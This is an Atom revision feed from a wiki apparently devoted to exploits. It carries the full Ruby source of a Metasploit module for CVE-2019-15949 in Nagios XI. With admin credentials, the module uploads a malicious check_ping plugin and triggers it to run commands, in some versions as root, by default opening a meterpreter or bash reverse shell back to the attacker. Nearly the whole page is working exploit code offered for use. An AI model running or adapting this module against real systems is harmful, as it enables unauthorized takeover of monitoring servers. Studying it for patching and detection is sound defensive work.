<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-15949_Nagios_XI_getprofile.sh_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2019-15949 Nagios XI getprofile.sh 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-15949_Nagios_XI_getprofile.sh_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-15949_Nagios_XI_getprofile.sh_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T04:23:23Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2019-15949_Nagios_XI_getprofile.sh_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1672&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==MSF== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModul...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-15949_Nagios_XI_getprofile.sh_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1672&amp;oldid=prev"/>
		<updated>2021-04-15T03:21:25Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==MSF== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModul...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==MSF==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
 &lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
 &lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::Remote::HTTP::NagiosXi&lt;br /&gt;
  include Msf::Exploit::CmdStager&lt;br /&gt;
  prepend Msf::Exploit::Remote::AutoCheck&lt;br /&gt;
  include Msf::Module::Deprecated&lt;br /&gt;
  moved_from 'exploit/linux/http/nagios_xi_authenticated_rce'&lt;br /&gt;
 &lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module exploits a vulnerability in the getprofile.sh script&lt;br /&gt;
          of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping&lt;br /&gt;
          plugin and thereby execute arbitrary commands.&lt;br /&gt;
 &lt;br /&gt;
          For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user.&lt;br /&gt;
          For versions 5.5.0-5.6.5 the commands are run as root. Note that versions&lt;br /&gt;
          prior to 5.2.0 will still be marked as being vulnerable however this&lt;br /&gt;
          module does not presently support exploiting these targets.&lt;br /&gt;
 &lt;br /&gt;
          The module uploads a malicious check_ping plugin to the Nagios XI server via&lt;br /&gt;
          /admin/monitoringplugins.php and then executes this plugin by issuing&lt;br /&gt;
          a HTTP GET request to download a system profile from the server.&lt;br /&gt;
          For all supported targets except Linux (cmd), the module uses a command&lt;br /&gt;
          stager to write the exploit to the target via the malicious plugin.&lt;br /&gt;
          This may not work if Nagios XI is running in a restricted Unix environment,&lt;br /&gt;
          so in that case the target must be set to Linux (cmd). The module then&lt;br /&gt;
          writes the payload to the malicious plugin while avoiding commands&lt;br /&gt;
          that may not be supported.&lt;br /&gt;
 &lt;br /&gt;
          Valid credentials for a user with administrative privileges are&lt;br /&gt;
          required. This module was successfully tested on Nagios XI 5.3.0 and&lt;br /&gt;
          Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before&lt;br /&gt;
          5.5.0, it may take a significant amount of time for the payload to get&lt;br /&gt;
          back (up to 5 minutes). If exploitation fails against an older system,&lt;br /&gt;
          it is recommended to increase the WfsDelay setting (default is 300&lt;br /&gt;
          seconds). See the documentation for more information.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Author' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'Jak Gibb',       # https://github.com/jakgibb/ - Discovery and exploit&lt;br /&gt;
            'Erik Wynter'     # @wyntererik - Metasploit&lt;br /&gt;
          ],&lt;br /&gt;
        'References' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['CVE', '2019-15949'],&lt;br /&gt;
            ['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] # original PHP exploit&lt;br /&gt;
          ],&lt;br /&gt;
        'Payload' =&amp;gt; { 'BadChars' =&amp;gt; &amp;quot;\x00&amp;quot; },&lt;br /&gt;
        'Targets' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            [&lt;br /&gt;
              'Linux (x86)', {&lt;br /&gt;
                'Arch' =&amp;gt; ARCH_X86,&lt;br /&gt;
                'Platform' =&amp;gt; 'linux',&lt;br /&gt;
                'DefaultOptions' =&amp;gt; { 'PAYLOAD' =&amp;gt; 'linux/x86/meterpreter/reverse_tcp' }&lt;br /&gt;
              }&lt;br /&gt;
            ],&lt;br /&gt;
            [&lt;br /&gt;
              'Linux (x64)', {&lt;br /&gt;
                'Arch' =&amp;gt; ARCH_X64,&lt;br /&gt;
                'Platform' =&amp;gt; 'linux',&lt;br /&gt;
                'DefaultOptions' =&amp;gt; { 'PAYLOAD' =&amp;gt; 'linux/x64/meterpreter/reverse_tcp' }&lt;br /&gt;
              }&lt;br /&gt;
            ],&lt;br /&gt;
            [&lt;br /&gt;
              'Linux (cmd)', {&lt;br /&gt;
                'Arch' =&amp;gt; ARCH_CMD,&lt;br /&gt;
                'Platform' =&amp;gt; 'unix',&lt;br /&gt;
                'DefaultOptions' =&amp;gt; { 'PAYLOAD' =&amp;gt; 'cmd/unix/reverse_bash' },&lt;br /&gt;
                'Payload' =&amp;gt; {&lt;br /&gt;
                  'Append' =&amp;gt; ' &amp;amp; disown', # the payload must be disowned after execution, otherwise cleanup fails&lt;br /&gt;
                  'BadChars' =&amp;gt; '&amp;quot;'&lt;br /&gt;
                }&lt;br /&gt;
              }&lt;br /&gt;
            ]&lt;br /&gt;
          ],&lt;br /&gt;
        'Privileged' =&amp;gt; true,&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2019-07-29',&lt;br /&gt;
        'DefaultOptions' =&amp;gt; { 'WfsDelay' =&amp;gt; 300 }, # Necessary because the payload connects back with a significant delay. On versions older than 5.5.0 it takes especially long.&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 1,&lt;br /&gt;
        'Notes' =&amp;gt;&lt;br /&gt;
          {&lt;br /&gt;
            'Stability' =&amp;gt; [ CRASH_SAFE, ],&lt;br /&gt;
            'SideEffects' =&amp;gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]&lt;br /&gt;
          }&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
    register_options [&lt;br /&gt;
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),&lt;br /&gt;
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])&lt;br /&gt;
    ]&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def username&lt;br /&gt;
    datastore['USERNAME']&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def password&lt;br /&gt;
    datastore['PASSWORD']&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def finish_install&lt;br /&gt;
    datastore['FINISH_INSTALL']&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def check&lt;br /&gt;
    # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns&lt;br /&gt;
    # an array containing the http response body of a get request to index.php and the session cookies&lt;br /&gt;
    login_result, res_array = nagios_xi_login(username, password, finish_install)&lt;br /&gt;
    case login_result&lt;br /&gt;
    when 1..3 # An error occurred&lt;br /&gt;
      return CheckCode::Unknown(res_array[0])&lt;br /&gt;
    when 4 # Nagios XI is not fully installed&lt;br /&gt;
      install_result = install_nagios_xi(password)&lt;br /&gt;
      if install_result&lt;br /&gt;
        return CheckCode::Unknown(install_result[1])&lt;br /&gt;
      end&lt;br /&gt;
 &lt;br /&gt;
      login_result, res_array = login_after_install_or_license(username, password, finish_install)&lt;br /&gt;
      case login_result&lt;br /&gt;
      when 1..3 # An error occurred&lt;br /&gt;
        return CheckCode::Unknown(res_array[0])&lt;br /&gt;
      when 4 # Nagios XI is still not fully installed&lt;br /&gt;
        return CheckCode::Detected('Failed to install Nagios XI on the target.')&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    # when 5 is excluded from the case statement above to prevent having to use this code block twice.&lt;br /&gt;
    # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.&lt;br /&gt;
    if login_result == 5 # the Nagios XI license agreement has not been signed&lt;br /&gt;
      auth_cookies, nsp = res_array&lt;br /&gt;
      sign_license_result = sign_license_agreement(auth_cookies, nsp)&lt;br /&gt;
      if sign_license_result&lt;br /&gt;
        return CheckCode::Unknown(sign_license_result[1])&lt;br /&gt;
      end&lt;br /&gt;
 &lt;br /&gt;
      login_result, res_array = login_after_install_or_license(username, password, finish_install)&lt;br /&gt;
      case login_result&lt;br /&gt;
      when 1..3&lt;br /&gt;
        return CheckCode::Unknown(res_array[0])&lt;br /&gt;
      when 5 # the Nagios XI license agreement still has not been signed&lt;br /&gt;
        return CheckCode::Detected('Failed to sign the license agreement.')&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    print_good('Successfully authenticated to Nagios XI')&lt;br /&gt;
 &lt;br /&gt;
    # Obtain the Nagios XI version&lt;br /&gt;
    @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already&lt;br /&gt;
 &lt;br /&gt;
    nagios_version = nagios_xi_version(res_array[0])&lt;br /&gt;
    if nagios_version.nil?&lt;br /&gt;
      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    print_status(&amp;quot;Target is Nagios XI with version #{nagios_version}&amp;quot;)&lt;br /&gt;
    # check if the target is actually vulnerable&lt;br /&gt;
    @version = Rex::Version.new(nagios_version)&lt;br /&gt;
    if @version &amp;lt; Rex::Version.new('5.6.6')&lt;br /&gt;
      return CheckCode::Appears&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    return CheckCode::Safe&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def grab_plugins_nsp&lt;br /&gt;
    # visit the plugins page to grab the nsp token required for uploading the payload&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; @monitoring_plugins_url,&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'cookie' =&amp;gt; @auth_cookies&lt;br /&gt;
    })&lt;br /&gt;
 &lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Disconnected, &amp;quot;Connection failed while trying to visit `#{@monitoring_plugins_url}`&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    unless res.code == 200 &amp;amp;&amp;amp; res.body.include?('&amp;lt;title&amp;gt;Manage Plugins &amp;amp;middot; Nagios XI&amp;lt;/title&amp;gt;')&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Unexpected response received while trying to visit `#{@monitoring_plugins_url}`&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    @nsp = get_nsp(res)&lt;br /&gt;
 &lt;br /&gt;
    if @nsp.blank?&lt;br /&gt;
      fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def execute_command(cmd, _opts = {})&lt;br /&gt;
    print_status(&amp;quot;Uploading malicious 'check_ping' plugin...&amp;quot;)&lt;br /&gt;
    post_data = Rex::MIME::Message.new&lt;br /&gt;
    post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name=&amp;quot;upload&amp;quot;')&lt;br /&gt;
    post_data.add_part(@nsp, nil, nil, 'form-data; name=&amp;quot;nsp&amp;quot;')&lt;br /&gt;
    post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name=&amp;quot;MAX_FILE_SIZE&amp;quot;')&lt;br /&gt;
    post_data.add_part(cmd, 'text/plain', nil, 'form-data; name=&amp;quot;uploadedfile&amp;quot;; filename=&amp;quot;check_ping&amp;quot;')&lt;br /&gt;
 &lt;br /&gt;
    # upload payload&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'uri' =&amp;gt; @monitoring_plugins_url,&lt;br /&gt;
      'cookie' =&amp;gt; @auth_cookies,&lt;br /&gt;
      'ctype' =&amp;gt; &amp;quot;multipart/form-data; boundary=#{post_data.bound}&amp;quot;,&lt;br /&gt;
      'data' =&amp;gt; post_data.to_s&lt;br /&gt;
    })&lt;br /&gt;
 &lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with Failure::Unreachable, 'Upload failed'&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    unless res.code == 200 &amp;amp;&amp;amp; res.body.include?('New plugin was installed successfully')&lt;br /&gt;
      fail_with Failure::Unknown, 'Failed to upload plugin.'&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    @plugin_installed = true&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  # This request will timeout. It has to, for the exploit to work.&lt;br /&gt;
  def execute_payload&lt;br /&gt;
    print_status('Executing plugin...')&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'includes', 'components', 'profile', 'profile.php'),&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'cookie' =&amp;gt; @auth_cookies,&lt;br /&gt;
      'vars_get' =&amp;gt; { 'cmd' =&amp;gt; 'download' }&lt;br /&gt;
    }, 0)&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def cleanup&lt;br /&gt;
    return unless @plugin_installed&lt;br /&gt;
 &lt;br /&gt;
    print_status(&amp;quot;Deleting malicious 'check_ping' plugin...&amp;quot;)&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; @monitoring_plugins_url,&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'cookie' =&amp;gt; @auth_cookies,&lt;br /&gt;
      'vars_get' =&amp;gt; {&lt;br /&gt;
        'delete' =&amp;gt; 'check_ping',&lt;br /&gt;
        'nsp' =&amp;gt; @nsp&lt;br /&gt;
      }&lt;br /&gt;
    })&lt;br /&gt;
 &lt;br /&gt;
    unless res&lt;br /&gt;
      print_warning(&amp;quot;Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.&amp;quot;)&lt;br /&gt;
      return&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    unless res.code == 200 &amp;amp;&amp;amp; res.body.include?('Plugin deleted')&lt;br /&gt;
      print_warning(&amp;quot;Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.&amp;quot;)&lt;br /&gt;
      return&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    print_good('Plugin deleted.')&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def exploit&lt;br /&gt;
    @monitoring_plugins_url = normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')&lt;br /&gt;
    grab_plugins_nsp&lt;br /&gt;
    wfsdelay = datastore['WfsDelay']&lt;br /&gt;
 &lt;br /&gt;
    if @version &amp;lt; Rex::Version.new('5.2.0')&lt;br /&gt;
      fail_with(Failure::NoTarget, &amp;quot;Target is vulnerable but this module does not support exploiting NagiosXI #{@version} at this time.&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    if target.arch.first == ARCH_CMD&lt;br /&gt;
      execute_command(payload.encoded)&lt;br /&gt;
      message = &amp;quot;Waiting up to #{wfsdelay} seconds for the payload to connect back...&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      execute_cmdstager(background: true)&lt;br /&gt;
      message = &amp;quot;Waiting up to #{wfsdelay} seconds for the plugin to request the final payload...&amp;quot;&lt;br /&gt;
    end&lt;br /&gt;
    if @version &amp;gt;= Rex::Version.new('5.2.0') &amp;amp;&amp;amp; @version &amp;lt; Rex::Version.new('5.5.0')&lt;br /&gt;
      print_warning(&amp;quot;For NagiosXi version #{@version} it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    print_good('Successfully uploaded plugin.')&lt;br /&gt;
    execute_payload&lt;br /&gt;
    print_status(message)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>